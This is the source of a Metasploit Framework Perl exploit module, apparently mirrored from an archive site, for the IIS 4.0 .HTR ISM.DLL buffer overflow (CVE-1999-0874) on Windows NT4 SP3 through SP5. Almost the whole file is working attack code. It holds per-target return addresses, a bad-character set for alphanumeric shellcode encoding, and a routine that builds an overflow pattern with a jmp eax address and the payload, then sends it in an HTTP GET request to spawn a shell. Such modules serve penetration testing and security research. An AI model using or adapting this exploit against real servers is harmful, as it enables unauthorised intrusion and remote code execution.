home *** CD-ROM | disk | FTP | other *** search
-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::iis40_htr;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'IIS 4.0 .HTR Buffer Overflow',
- 'Version' => '$Revision: 1.7 $',
- 'Authors' => [ 'Stinko', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 2048,
- 'MaxNops' => 0,
- 'MinNops' => 0,
- 'BadChars' =>
- join("", map { $_=chr($_) } (0x00 .. 0x2f)).
- join("", map { $_=chr($_) } (0x3a .. 0x40)).
- join("", map { $_=chr($_) } (0x5b .. 0x60)).
- join("", map { $_=chr($_) } (0x7b .. 0xff)),
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits a buffer overflow in the ISAPI ISM.DLL used
- to process HTR scripting in IIS 4.0. This module works against
- Windows NT 4 Service Packs 3, 4, and 5. The server will continue
- to process requests until the payload being executed has exited.
- If you've set EXITFUNC to 'seh', the server will continue processing
- requests, but you will have trouble terminating a bind shell. If you
- set EXITFUNC to thread, the server will crash upon exit of the bind
- shell. The payload is alpha-numerically encoded without a NOP sled
- because otherwise the data gets mangled by the filters.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '3325'],
- ['BID', '307'],
- ['CVE', '1999-0874'],
- ['URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
- ['MIL', '26'],
-
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [
- ['Windows NT4 SP3', 593, 0x77f81a4d],
- ['Windows NT4 SP4', 593, 0x77f7635d],
- ['Windows NT4 SP5', 589, 0x77f76385],
- ],
-
- 'Keys' => ['iis'],
-
- 'DisclosureDate' => 'Apr 10 2002',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
-
- my $pattern = ("X" x $target->[1]);
- $pattern .= pack("V", $target->[2]);
- $pattern .= $shellcode;
-
- my $request = "GET /" . $pattern . ".htr HTTP/1.0\r\n\r\n";
-
- $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp eax at 0x%.8x...", $target->[2]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
- $s->Close();
- return;
- }
-
- 1;
-